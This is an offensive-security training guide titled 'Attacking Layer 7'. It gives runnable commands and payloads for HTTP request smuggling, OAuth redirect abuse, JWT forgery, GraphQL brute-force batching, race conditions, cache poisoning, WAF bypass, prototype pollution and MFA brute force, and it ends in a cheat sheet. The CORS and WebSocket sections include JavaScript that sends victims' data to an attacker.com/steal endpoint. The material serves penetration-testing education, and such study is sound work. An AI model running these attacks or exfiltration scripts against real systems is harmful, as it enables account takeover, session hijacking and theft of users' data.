



◆ OFFENSIVE SECURITY SERIES ◆

ATTACKING LAYER 7

Advanced Web & Application Layer Attack Techniques

HTTP Smuggling · OAuth · JWT · GraphQL · Race Conditions · WAF Bypass · WebSockets

HTTP Smuggling

OAuth Abuse

JWT Attacks

GraphQL

Race Conditions

WAF Bypass

WebSockets

Cache Poison

CO

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

Attacking Layer 7 — Advanced Web & Application Layer Attack Techniques

01.	LAYER 7 ATTACK METHODOLOGY & TOOLCHAIN
02.	HTTP REQUEST SMUGGLING — CL.TE, TE.CL & HTTP/2 DOWNGRADE
03.	OAuth 2.0 & OIDC ATTACKS — TOKEN THEFT & FLOW MANIPULATION
04.	JWT ATTACKS — ALGORITHM CONFUSION, NONE & KEY INJECTION
05.	GraphQL ATTACKS — INTROSPECTION, INJECTION & BATCHING
06.	RACE CONDITIONS — LIMIT OVERRUN & TIME-OF-CHECK EXPLOITS
07.	WEB CACHE POISONING — UNKEYED HEADERS & DOS
08.	CORS MISCONFIGURATIONS — CREDENTIAL THEFT & DATA EXFIL
09.	WEBSOCKET ATTACKS — HIJACKING, INJECTION & SSTI
10.	WAF BYPASS TECHNIQUES — ENCODING, CHUNKING & EVASION
11.	PARAMETER POLLUTION & MASS ASSIGNMENT
12.	PROTOTYPE POLLUTION — CLIENT & SERVER-SIDE
13.	HTTP/2 & HTTP/3 SPECIFIC VULNERABILITIES
14.	ADVANCED AUTHENTICATION BYPASS TECHNIQUES
15.	LAYER 7 CHEAT SHEET — FULL REFERENCE



01 — LAYER 7 ATTACK METHODOLOGY

Toolchain, Recon & Structured Web Application Attack Workflow

Layer 7 (Application Layer) attacks target the logic, authentication, session management, and data processing of web applications. Unlike network-layer attacks that exploit infrastructure, Layer 7 attacks exploit the way applications interpret HTTP requests, handle tokens, process data, and trust client input. Modern web applications expose a vast attack surface across REST APIs, GraphQL endpoints, WebSockets, OAuth flows, and CDN-cached responses — all requiring specialised techniques beyond basic SQLi and XSS.

Phase	Techniques	Tools
Mapping	Crawl all endpoints, JS extraction, API discovery	Katana, Burp Spider, ParamSpider
Fingerprint	Tech stack, framework, middleware, proxy chain	Wappalyzer, HTTPX, curl headers
Auth Analysis	OAuth flows, JWT inspection, session tokens	jwt_tool, Burp, curl
Logic Testing	Race conditions, limit bypass, mass assignment	Turbo Intruder, custom scripts
Injection	SQLi, XSS, SSTI, command injection in L7 params	sqlmap, dalfox, ffuf
Protocol Abuse	HTTP smuggling, cache poison, CORS, WebSockets	smuggler, Burp, h2csmuggler
Bypass	WAF evasion, filter bypass, encoding tricks	WAFFL, manual Burp manipulation

LAYER 7 CORE TOOLCHAIN

Burp Suite Pro — Intercept proxy, scanner, Turbo Intruder, Repeater, Comparer

Caído — Modern Burp alternative (Rust-based, fast, collaborative)

ffuf / ferox — Fast HTTP fuzzer for endpoints, params, headers, values

Katana — Crawl + JS endpoint extraction (ProjectDiscovery)

Arjun — HTTP parameter discovery (GET/POST/JSON/XML)

jwt_tool — JWT vulnerability testing (all attack types)

smuggler.py — HTTP request smuggling detection and exploitation

dalfox — XSS parameter scanner with DOM analysis

ghauri — Advanced SQLi tool (better blind detection than sqlmap)



02 — HTTP REQUEST SMUGGLING

CL.TE, TE.CL, HTTP/2 Downgrade & Request Queue Poisoning

HTTP request smuggling exploits discrepancies between how a front-end proxy (CDN, load balancer, WAF) and a back-end server interpret HTTP request boundaries. By crafting requests with ambiguous Content-Length and Transfer-Encoding headers, attackers can 'smuggle' a hidden prefix into the next victim's request — enabling WAF bypass, credential theft, cache poisoning, and request queue poisoning attacks that affect all users.

Type	Front-End Uses	Back-End Uses	Impact
CL.TE	Content-Length	Transfer-Encoding	Smuggle prefix into next request
TE.CL	Transfer-Encoding	Content-Length	Bypass front-end, poison queue
TE.TE	Transfer-Encoding	Transfer-Encoding (obfuscated)	Obfuscate TE header to confuse BE
H2.CL	HTTP/2	HTTP/1 Content-Length	HTTP/2 downgrade smuggling
H2.TE	HTTP/2	HTTP/1 Transfer-Encoding	H2 to H1 TE injection

\$ HTTP Smuggling — Detection & Exploitation

```
# smuggler.py — automated smuggling detection
python3 smuggler.py -u https://target.com/
python3 smuggler.py -u https://target.com/ -m POST --log level=4

# h2csmuggler — HTTP/2 to HTTP/1 cleartext upgrade smuggling
python3 h2csmuggler.py --scan-list urls.txt
python3 h2csmuggler.py -x https://target.com /internal/admin

# Manual CL.TE smuggling request (send via Burp Repeater)
# Disable 'Update Content-Length' in Burp — critical!
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# Manual TE.CL smuggling
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

# Exploit: capture victim request via smuggled prefix
# Poison queue so next user's request appended to our smuggled body
# Steal: Authorization headers, cookies, POST body data

# Burp Suite — HTTP Request Smuggler extension (James Kettle)
# Burp → Extensions → BApp Store → 'HTTP Request Smuggler'
# Right-click request → Extensions → Launch Smuggle Probe
```



03 — OAUTH 2.0 & OIDC ATTACKS

Token Theft, State Parameter Bypass & Redirect URI Manipulation

OAuth 2.0 is the authorisation framework powering 'Login with Google/GitHub/Microsoft' on millions of applications. Misconfigurations in redirect URI validation, state parameter handling, and token storage are consistently exploitable. A successful OAuth attack grants full account takeover without knowing the victim's password — by stealing their authorisation code or access token.

Attack	Vulnerability	Impact
Open Redirect in redirect_uri	App accepts any redirect_uri — no whitelist	Auth code sent to attacker
State Parameter Missing	No CSRF protection on OAuth flow	CSRF → account takeover
Referrer Leakage	Auth code in URL → leaks via Referrer header	Code theft via log/referrer
Implicit Flow Token Theft	Token in URL fragment — logged by proxies/CDN	Access token exposure
Token Reuse	Access tokens not single-use on some providers	Token replay
Scope Upgrade	Manipulate scope param to request wider permissions	Elevated access
PKCE Bypass	PKCE code_challenge misconfigured or skipped	Auth code interception

\$ OAuth Attack Techniques

```
# Step 1: Identify OAuth flow – intercept login in Burp
# Look for: /oauth/authorize, /oauth2/auth, response_type=code

# Step 2: Test redirect_uri validation
# Original: redirect_uri=https://app.com/callback
# Attack 1 – open redirect on same domain:
redirect_uri=https://app.com/logout?next=https://attacker.com

# Attack 2 – path traversal:
redirect_uri=https://app.com/callback/../../../../attacker.com

# Attack 3 – subdomain confusion:
redirect_uri=https://attacker.app.com/callback

# Attack 4 – register attacker app on same OAuth provider:
# Register client with redirect_uri=https://attacker.com
# Use victim's client_id with your redirect_uri

# Step 3: CSRF – missing state parameter
# Generate your own authorization URL with attacker state
# Victim clicks link → their account linked to attacker
curl 'https://provider.com/oauth/authorize?
  client_id=APP_ID&redirect_uri=https://app.com/cb
  &response_type=code&scope=openid+email'
# No state= param → vulnerable to CSRF

# Step 4: Steal auth code via referrer
# If app has: redirect to external page after OAuth
# Auth code in URL → sent in Referer header to external page

# Step 5: Consent phishing – malicious OAuth app
# Register app requesting: Mail.Read Files.ReadWrite offline_access
# Send consent URL to victim → they click Accept
```



04 — JWT ATTACKS

Algorithm Confusion, None Attack, Key Injection & Weak Secrets

JSON Web Tokens (JWTs) are used for authentication and authorisation across virtually every modern web application and API. JWTs are base64-encoded and client-controlled — making them a prime attack target. Algorithm confusion attacks abuse the alg header to switch from asymmetric RS256 to symmetric HS256 using the public key as the HMAC secret, creating a forged token that passes server-side verification.

\$ JWT Attack Techniques — jwt_tool

```
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
pip install -r requirements.txt

# Decode and inspect a JWT
python3 jwt_tool.py eyJhbGc...TOKEN_HERE

# Attack 1: None algorithm — remove signature entirely
python3 jwt_tool.py TOKEN -X a
# Changes alg to 'none', strips signature → server accepts if misconfigured

# Attack 2: RS256 → HS256 algorithm confusion
# Grab server's RS256 public key (from /jwks.json, /.well-known/jwks.json)
curl https://target.com/.well-known/jwks.json
# Extract public key PEM
python3 jwt_tool.py TOKEN -X k -pk public_key.pem
# Signs HS256 token using RS256 pubkey as HMAC secret

# Attack 3: Inject self-signed JWK into header
python3 jwt_tool.py TOKEN -X i
# Embeds attacker's public key in 'jwk' header → server trusts it

# Attack 4: JKU header injection — point to attacker JWKS
python3 jwt_tool.py TOKEN -X j -ju https://attacker.com/jwks.json

# Attack 5: KID (Key ID) injection — path traversal or SQLi
# Original: kid: 'keys/signing.pem'
# Attack:   kid: '../dev/null' → empty key → empty HMAC = valid!
# Or SQLi:  kid: 'x' UNION SELECT 'attacker_key'-- -

# Attack 6: Brute force weak HS256 secret
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
# or: hashcat -a 0 -m 16500 token.txt rockyou.txt

# Attack 7: Tamper payload claims
python3 jwt_tool.py TOKEN -T # Interactive tamper mode
# Change: 'role':'user' → 'role':'admin'
# Change: 'sub':'jdoe' → 'sub':'administrator'
```



05 — GRAPHQL ATTACKS

Introspection, Injection, Batching Abuse & Denial of Service

GraphQL's flexible query language and self-documenting introspection system make it a uniquely rich attack surface. Enabled introspection reveals the entire schema — all types, queries, mutations, and fields — without any authentication. Batching allows multiple queries in a single request, enabling rate-limit bypass and brute-force attacks. Field suggestions leak hidden schema elements even when introspection is disabled.

\$ GraphQL Attack Techniques

```
# Step 1: Discover GraphQL endpoint
# Common paths: /graphql, /api/graphql, /v1/graphql, /graphiql, /gql
ffuf -u https://target.com/FUZZ -w graphql-paths.txt -mc 200,400

# Step 2: Introspection – dump entire schema
curl -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name type{name}}}}}}"' | jq

# Introspection shortcut – get all type names
curl -X POST https://target.com/graphql \
  -d '{"query":"{__schema{types{name}}}}"' | jq

# Step 3: Field suggestion (when introspection disabled)
# Send partial/misspelled field names – server suggests valid ones
curl -X POST https://target.com/graphql \
  -d '{"query":"{user{passwd}}}"'

# Response: 'Did you mean password?' → confirms field exists

# Step 4: Injection – SQLi/SSTI in GraphQL args
curl -X POST https://target.com/graphql \
  -d '{"query":"{user(id:\"1 OR 1=1\"){name email}}}"' | jq

# Step 5: Batching – rate limit bypass for brute force
[
  {"query":"mutation{login(u:\"admin\",p:\"pass1\"){token}}"},
  {"query":"mutation{login(u:\"admin\",p:\"pass2\"){token}}"},
  {"query":"mutation{login(u:\"admin\",p:\"pass3\"){token}}"}
]

# Sends 100s of login attempts in single HTTP request

# Step 6: Alias bypass for rate limiting
{a1:login(u:"admin",p:"pass1"){t} a2:login(u:"admin",p:"pass2"){t}}

# Step 7: Deep query DoS (complexity/depth attack)
{user{friends{friends{friends{friends{name email}}}}}}

# Recursive depth → exponential server cost if no query depth limit

# InQL – Burp Suite plugin for GraphQL testing
# Burp → Extensions → BApp Store → 'InQL'
```



06 — RACE CONDITIONS

Limit Overrun, Time-of-Check/Use & Turbo Intruder

Race condition vulnerabilities occur when an application's security check and the action it protects execute in a window where concurrent requests can bypass the check. The classic example is sending multiple simultaneous requests to redeem a single-use coupon — the check passes for all requests before any redemption is recorded. Modern race conditions in web applications include single-use token reuse, limit bypass on financial operations, and account takeover via concurrent password-reset flows.

Race Condition Type	Scenario	Impact
Limit Overrun	Apply coupon/promo code simultaneously	Apply discount multiple times
Single-Use Token	Concurrent password reset link redemption	Use one token multiple times
Time-of-Check/Use	Check balance → transfer (concurrent)	Negative balance / overdraft
File Race	Upload + process happen simultaneously	Path traversal via temp file
Vote/Like Limit	Like button — concurrent requests	Exceed per-user vote limit
Account Link	Link OAuth account — concurrent	Link two external accounts to one

\$ Race Conditions — Turbo Intruder & curl

```
# Turbo Intruder (Burp extension) – send 100s of requests simultaneously
# Burp → Right-click request → Extensions → Send to Turbo Intruder

# Turbo Intruder Python script for parallel attack:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
        concurrentConnections=50, requestsPerConnection=1,
        pipeline=False)
    for i in range(50):
        engine.queue(target.req, str(i))

def handleResponse(req, interesting):
    table.add(req)

# curl – parallel race condition (bash)
for i in $(seq 1 20); do
    curl -s -X POST https://target.com/redeem \
        -H 'Cookie: session=VICTIM_TOKEN' \
        -d 'code=PROM050' &
done; wait

# Python – threaded race condition
python3 -c "
import threading, requests
s = requests.Session()
s.cookies.set('session', 'VICTIM_TOKEN')
def redeem(): s.post('https://target.com/redeem', data={'code': 'PROM050'})
threads = [threading.Thread(target=redeem) for _ in range(30)]
[t.start() for t in threads]
[t.join() for t in threads]
"

# HTTP/2 single-packet attack (James Kettle technique)
# Send all concurrent requests in a single TCP packet → true simultaneous
# Burp Repeater → Group requests → Send group in parallel
# Eliminates network jitter – most reliable race technique
```



07 — WEB CACHE POISONING

Unkeyed Headers, Cache Buster Bypass & Persistent XSS via Cache

Web cache poisoning tricks a cache into storing a malicious response that is then served to every subsequent user who requests the same resource. Attackers inject harmful content via HTTP headers or parameters that the cache does not include in its cache key — meaning the poisoned response is served regardless of the victim's own headers. Successful cache poisoning achieves persistent XSS or DoS affecting all users of a cached endpoint.

\$ Web Cache Poisoning Techniques

```
# Step 1: Identify unkeyed inputs
# Test headers not normally included in cache key:
# X-Forwarded-Host, X-Forwarded-For, X-Host, X-Forwarded-Scheme
# X-Original-URL, X-Rewrite-URL, X-Forwarded-Port

curl -s https://target.com/ -H 'X-Forwarded-Host: attacker.com' \
  -H 'Cache-Control: no-cache' # Bypass existing cache
# If response reflects attacker.com → cache poisoning possible

# Step 2: Confirm reflection in cached resource
curl -s https://target.com/ -H 'X-Forwarded-Host: attacker.com'
# Check: does response include attacker.com in src/href/script tags?

# Step 3: Poison with XSS payload
curl -s https://target.com/ \
  -H 'X-Forwarded-Host: attacker.com/exploit' \
  -H 'Cache-Control: no-cache'
# If cached → all users get response loading from attacker.com

# Step 4: Cache buster — find a cache-busted URL to test safely
# Append unique param to avoid polluting production cache:
curl 'https://target.com/?cb=rtg123' \
  -H 'X-Forwarded-Host: attacker.com'

# Param Miner (Burp extension) — discover unkeyed inputs automatically
# Burp → Extensions → BApp Store → 'Param Miner'
# Right-click request → Extensions → Guess headers/params

# Cache key confusion — fat GET requests
GET /?param=value HTTP/1.1
Host: target.com
X-HTTP-Method-Override: POST
# POST body: malicious_param=value
# Some caches key on GET method but server processes as POST
```



08 — CORS MISCONFIGURATIONS

Credential Theft, Wildcard Origins & Null Origin Bypass

Cross-Origin Resource Sharing (CORS) misconfiguration allows malicious websites to make authenticated cross-origin requests to an API and read the response. When an API reflects the request Origin header without validation, any attacker-controlled website can steal sensitive data from authenticated sessions. The null origin bypass is particularly dangerous as sandbox iframes and local HTML files send null origins.

\$ CORS Misconfiguration Testing & Exploitation

```
# Test 1: Does server reflect arbitrary Origin?
curl -s https://api.target.com/user/profile \
  -H 'Origin: https://attacker.com' \
  -H 'Cookie: session=VICTIM_TOKEN' -I

# Vulnerable if response contains:
# Access-Control-Allow-Origin: https://attacker.com
# Access-Control-Allow-Credentials: true

# Test 2: Null origin bypass
curl -s https://api.target.com/user/profile \
  -H 'Origin: null' \
  -H 'Cookie: session=VICTIM_TOKEN' -I

# Vulnerable if: Access-Control-Allow-Origin: null

# Test 3: Subdomain trust (XSS on subdomain → steal main domain data)
curl -s https://api.target.com/data \
  -H 'Origin: https://evil.target.com' -I

# Exploit – JavaScript payload to steal data (host on attacker.com):
# fetch('https://api.target.com/user/profile', {credentials:'include'})
# .then(r=>r.json()).then(d=>fetch('https://attacker.com/steal?d='+
# JSON.stringify(d)))

# Nuclei CORS check
nuclei -u https://target.com -t cors-misconfiguration.yaml

# CORScanner – automated CORS scanning
python3 CORScanner.py -u https://target.com
python3 CORScanner.py -i urls.txt -t 10
```



09 — WEBSOCKET ATTACKS

Hijacking, Cross-Site WebSocket, Injection & SSTI

WebSockets provide full-duplex communication channels over a single TCP connection. They bypass many WAF rules designed for HTTP and are frequently overlooked during security assessments. Cross-Site WebSocket Hijacking (CSWSH) abuses the browser's automatic cookie inclusion in WebSocket handshakes — analogous to CSRF but for WebSocket connections. WebSocket message content is also injectable with SQLi, XSS, and SSTI payloads.

\$ WebSocket Attack Techniques

```
# Step 1: Identify WebSocket endpoints
# Look in Burp HTTP History for: 101 Switching Protocols
# Or in JS source: new WebSocket('wss://target.com/chat')

# Step 2: Cross-Site WebSocket Hijacking (CSWSH)
# Check: does WebSocket handshake include CSRF token?
# If NO → CSWSH possible

# Exploit: host this on attacker.com
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() { ws.send('{"type":"get_history"}'); };
ws.onmessage = function(e) {
  fetch('https://attacker.com/steal?d='+btoa(e.data));
};
# Victim visits attacker.com → their WS session hijacked

# Step 3: Injection via WebSocket messages
# In Burp → WebSockets History → right-click message → Send to Repeater
# Test message body with injection payloads:
{"msg":"'hello' OR 1=1-- -"}    # SQLi
{"msg":"'{{7*7}}'"}          # SSTI — if 49 returned
{"search":"../../etc/passwd"} # Path traversal

# Step 4: WebSocket message fuzzing with wscat
npm install -g wscat
wscat -c wss://target.com/ws -H 'Cookie: session=TOKEN'
# Type payloads manually or pipe from file

# Step 5: Replay/manipulate WebSocket frames in Burp
# Burp → Proxy → WebSockets → Intercept WebSocket Messages
# Modify sent frames before they reach server
```



10 — WAF BYPASS TECHNIQUES

Encoding, Chunking, Case Variation & Protocol-Level Evasion

Web Application Firewalls inspect HTTP request content for known attack signatures. WAF bypass techniques manipulate encoding, case, whitespace, HTTP protocol features, and request structure to deliver malicious payloads that evade pattern matching while still being interpreted correctly by the application backend. Understanding the specific WAF product enables targeted bypass research.

WAF Bypass Technique	Example	Works Against
URL Encoding	%27 OR %271%27%3D%271	Regex on plaintext
Double URL Encoding	%2527 → %27 → '	Single-decode WAFs
Unicode/UTF-8 Encoding	\u0027 or \u02BC for quote	Unicode-unaware rules
Case Variation	SeLeCt, uNiOn, AlTeRnAtInG	Case-sensitive regex
Comment Injection	SE/**/LECT, UN/**/ION	Keyword detection
Whitespace Variants	Tab (t), newline (n), v	Space-based regex
HTTP Parameter Pollution	?id=1&id=SELECT — backend uses second	Single-param WAF checks
Chunked Encoding	Transfer-Encoding: chunked — split payload	Buffer/reassembly issues
Content-Type Switching	Change JSON to XML or multipart	Content-aware WAF bypass
Null Byte Injection	SELECT%00FROM — null truncates WAF check	C-string based detection

\$ WAF Bypass — sqlmap & ffuf

```
# sqlmap with WAF bypass tamper scripts
sqlmap -u 'https://target.com/?id=1' --tamper=space2comment,charunicodeescape
sqlmap -u 'https://target.com/?id=1' --tamper=between,randomcase,charencode
sqlmap -u 'https://target.com/?id=1' --tamper=greatest,ifnull2ifisnull
# List all tamperers: sqlmap --list-tampers

# ffuf WAF bypass — fuzz with encoded payloads
ffuf -u 'https://target.com/search?q=FUZZ' \
-w payloads.txt -fw 100 -mc all

# Header-based WAF bypass — some WAFs skip checks for internal IPs
curl https://target.com/admin \
-H 'X-Forwarded-For: 127.0.0.1' \
-H 'X-Real-IP: 127.0.0.1' \
-H 'X-Original-URL: /admin'
```



11 — PARAMETER POLLUTION & MASS ASSIGNMENT

HPP, JSON Key Overwrite & Framework-Specific Mass Assignment

HTTP Parameter Pollution (HPP) submits multiple values for the same parameter — different frameworks handle duplicates differently, creating inconsistencies between WAF inspection and application processing. Mass assignment exploits frameworks that automatically bind request parameters to model attributes — sending unexpected fields like 'isAdmin', 'role', or 'price' can override server-side values and escalate privileges or manipulate business logic.

\$ HPP & Mass Assignment Testing

```
# HTTP Parameter Pollution (HPP)
# Original: GET /transfer?amount=100&to=alice
# WAF checks first param. App uses last. OR vice versa.
GET /transfer?amount=100&to=alice&to=attacker
GET /transfer?to=alice&amount=100&amount=999999

# HPP in POST body
curl -X POST https://target.com/transfer \
  -d 'amount=100&to=alice&amount=0'
# Some frameworks: last value wins → amount = 0 (free transfer)

# Mass assignment — add unexpected fields
# Original registration: {"name":"John","email":"j@x.com"}
# Attack: add role/isAdmin/balance
curl -X POST https://target.com/api/register \
  -H 'Content-Type: application/json' \
  -d '{"name":"John","email":"j@x.com","role":"admin","isAdmin":true}'

# Mass assignment in Ruby on Rails — classic example
# PUT /users/1 with body: {"user":{"admin":true}}

# Mass assignment in Django REST Framework
# If serializer has no read_only_fields, all model fields bindable

# Arjun — discover hidden/undocumented parameters
python3 arjun.py -u https://target.com/api/user
python3 arjun.py -u https://target.com/api/user -m JSON
# Outputs: discovered params → test each for mass assignment

# ParamSpider — extract params from JS and historical URLs
python3 paramspider.py -d target.com
```



12 — PROTOTYPE POLLUTION

Client-Side DOM XSS & Server-Side RCE via Object Prototype Manipulation

Prototype pollution exploits JavaScript's prototype chain by injecting properties into `Object.prototype` — affecting all objects in the application. Client-side prototype pollution can escalate to DOM XSS when polluted properties are used in sink functions. Server-side prototype pollution in Node.js applications can achieve Remote Code Execution by overwriting properties used in `child_process.exec()` or template rendering calls.

\$ Prototype Pollution Detection & Exploitation

```
# Client-side detection – inject via URL query params or JSON
# Test: does setting __proto__ pollute global objects?
https://target.com/?__proto__[testprop]=rtg_test
https://target.com/?constructor[prototype][testprop]=rtg_test
# In browser console: Object.prototype.testprop → 'rtg_test' = VULNERABLE

# Client-side PP → DOM XSS gadget chain
# Find sink in JS: innerHTML, eval, document.write that uses proto prop
https://target.com/?__proto__[html]=<img src=x onerror=alert(1)>

# Burp Suite – DOM Invader (Client-Side PP scanner)
# Burp → Proxy → DOM Invader → Enable PP canary injection

# Server-side PP in Node.js (JSON merge deep)
# Vulnerable code: Object.assign({}, userInput)
# Or: lodash.merge(target, userInput) – CVE-2019-10744

# Detect SSPP via response differences
curl -X POST https://target.com/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"status":555}}'
# If next response has status 555 → SSPP confirmed

# SSPP → RCE via child_process options pollution
# Payload targeting spawn/exec options:
curl -X POST https://target.com/api \
  -d '{"__proto__":{"shell":"node",
    "NODE_OPTIONS":"--require /proc/self/cmdline}}'
```

```
# PP Scanner – automated detection
python3 ppmmap.py -u 'https://target.com/?param=VALUE'
```



13 — HTTP/2 & HTTP/3 VULNERABILITIES

H2 Header Injection, Rapid Reset DoS & QUIC Attack Surface

HTTP/2 and HTTP/3 introduce new attack surfaces beyond request smuggling. HTTP/2 header field injection exploits the protocol's handling of pseudo-headers and binary framing to inject newlines and manipulate server-side request processing. CVE-2023-44487 (HTTP/2 Rapid Reset) enables DoS by cancelling streams immediately after sending — amplifying the attack at minimal cost to the attacker.

Vulnerability	CVE / Reference	Impact	Tool
HTTP/2 Rapid Reset	CVE-2023-44487	DDoS amplification	h2load, custom scripts
H2 Header Injection	PortSwigger Research 2021	SSRF, request smuggling	Burp Suite Pro
H2C Smuggling	PortSwigger Research	Bypass front-end controls	h2csmuggler
HPACK Bomb	CVE-2016-6581	CPU/memory exhaustion	Custom HPACK frames
H3/QUIC Path Traversal	Emerging research	TBD	Specialized tooling
ALPN Downgrade	Force HTTP/1.1	Expose HTTP/1 vulns	Burp Protocol Switching

\$ HTTP/2 Attack Techniques

```
# Test H2 support
curl --http2 -I https://target.com

# Look for: HTTP/2 200

# h2csmuggler – HTTP/2 cleartext upgrade smuggling
git clone https://github.com/BishopFox/h2csmuggler
python3 h2csmuggler.py --scan-list urls.txt -x

# Exploit h2c upgrade to reach internal services
python3 h2csmuggler.py -x https://target.com /internal/admin
python3 h2csmuggler.py -x https://target.com \
    /internal/debug?cmd=id

# Test for Rapid Reset vulnerability (CVE-2023-44487)
# h2load – HTTP/2 benchmarking tool
h2load -n 1000 -c 100 -m 10 https://target.com/
# Observe: does server degrade under rapid RST_STREAM?

# H2 header injection test (Burp Pro required)
# In Burp Repeater → switch to HTTP/2
# Add header: :path with newline injection
# :path: /\r\nX-Injected: evil

# Protocol negotiation – force HTTP/1.1 fallback
curl --http1.1 https://target.com/
# May expose HTTP/1-specific vulnerabilities on H2-only surface
```



14 — ADVANCED AUTHENTICATION BYPASS

Password Reset Flaws, MFA Logic, Token Prediction & Session Fixation

Authentication bypass at Layer 7 targets the logic of login flows, password reset mechanisms, multi-factor authentication implementations, and session management. These are application-logic flaws — not protocol vulnerabilities — and require understanding how the specific application implements its authentication. They are consistently among the highest-impact findings on red team engagements and bug bounty programs.

Technique	How It Works	Impact
Password Reset Poisoning	Inject X-Forwarded-Host to redirect reset link	Account takeover
Host Header Injection	Manipulate Host header → reset token sent to attacker	Account takeover
MFA Response Manipulation	Intercept 2FA check — change response 'invalid'→'valid'	MFA bypass
MFA Code Brute Force	No rate limit on 6-digit OTP → 10^6 attempts	MFA bypass
Token Prediction	Sequential/timestamp-based tokens → predict next	Account takeover
Session Fixation	Force victim to use attacker-known session ID	Session hijack
Response Body Tampering	Change 302→200 or false→true in auth response	Auth bypass
Username Enumeration	Different error messages for valid/invalid user	User enumeration
Account Lockout Bypass	Rotate IPs / X-Forwarded-For values	Unlimited brute force

\$ Auth Bypass Testing

```
# Password reset host header poisoning
POST /forgot-password HTTP/1.1
Host: attacker.com

# OR:
Host: target.com
X-Forwarded-Host: attacker.com

# Body: email=victim@target.com
# Reset link sent to victim contains attacker.com domain


# MFA response manipulation (Burp Intercept)
# 1. Enter valid credentials, submit valid 2FA code
# 2. Intercept server response → change JSON
#   'mfa_required':true → 'mfa_required':false
#   'status':'invalid' → 'status':'valid'
# 3. Forward → may bypass MFA entirely


# MFA brute force – 6-digit TOTP code (000000-999999)
ffuf -u https://target.com/verify -X POST \
  -H 'Cookie: session=TOKEN' \
  -d 'code=FUZZ' \
  -w <(seq -w 0 999999) -mc 302 -t 50


# Account lockout bypass – rotate X-Forwarded-For
ffuf -u https://target.com/login -X POST \
  -d 'user=admin&pass=FUZZ' \
  -w passwords.txt \
  -H 'X-Forwarded-For: FUZZ2' \
  -w <(shuf -i 1-254 -n 1000 | awk '{print "10.0.0."$1}'):FUZZ2
```



15 — LAYER 7 ATTACK CHEAT SHEET

Complete Reference — Every Technique, Every Tool

Endpoint crawl	<code>katana -u https://target.com -jc -d 5 -o endpoints.txt</code>
Param discovery	<code>python3 arjun.py -u https://target.com/api/user -m GET,POST,JSON</code>
HTTP smuggling scan	<code>python3 smuggler.py -u https://target.com/ -m POST</code>
H2C smuggling	<code>python3 h2csmuggler.py -x https://target.com /internal/admin</code>
JWT inspect	<code>python3 jwt_tool.py TOKEN</code>
JWT none attack	<code>python3 jwt_tool.py TOKEN -X a</code>
JWT alg confusion RS256→HS256	<code>python3 jwt_tool.py TOKEN -X k -pk public_key.pem</code>
JWT JKU injection	<code>python3 jwt_tool.py TOKEN -X j -ju https://attacker.com/jwks.json</code>
JWT brute force	<code>python3 jwt_tool.py TOKEN -C -d rockyou.txt</code>
GraphQL introspection	<code>curl -X POST /graphql -d '{"query":"{__schema{types{name fields{name}}}}"}' jq</code>
GraphQL batch brute	<code>[{"query":"mutation{login(u:\"a\",p:\"p1\")}\"},...] — 100 in one request</code>
Race condition (curl)	<code>for i in \$(seq 1 30); do curl -X POST /redeem -d 'code=X' & done; wait</code>
Race condition (Python)	<code>threading.Thread(target=lambda: requests.post('/redeem')) x 30 threads</code>
Cache poison test	<code>curl https://target.com/ -H 'X-Forwarded-Host: attacker.com' -H 'Cache-Control: no-cache'</code>
CORS test	<code>curl https://api.target.com/data -H 'Origin: https://attacker.com' -H 'Cookie: s=T' -I</code>
CORS null bypass	<code>curl https://api.target.com/data -H 'Origin: null' -H 'Cookie: s=T' -I</code>
CSWSH hijack	<code>new WebSocket('wss://target.com/ws') from attacker.com (no CSRF token check)</code>
Prototype pollution	<code>https://target.com/?__proto__[testprop]=rtgtest then console: Object.prototype.testprop</code>
WAF bypass SQLi	<code>sqlmap -u 'url?id=1' --tamper=space2comment,charunicodeescape,randomcase</code>
WAF bypass encoding	Use %27 (URL), %2527 (double), \u0027 (unicode) instead of quote char
HPP test	<code>GET /transfer?amount=100&to;=alice&amount;=9999 — which value does backend use?</code>
Mass assignment	<code>POST /register {"name":"x","email":"x@x","role":"admin","isAdmin":true}</code>
Password reset poison	<code>POST /forgot Host: target.com X-Forwarded-Host: attacker.com email=victim</code>
MFA brute force	<code>ffuf -u /verify -X POST -d 'code=FUZZ' -w <(seq -w 0 999999) -mc 302</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.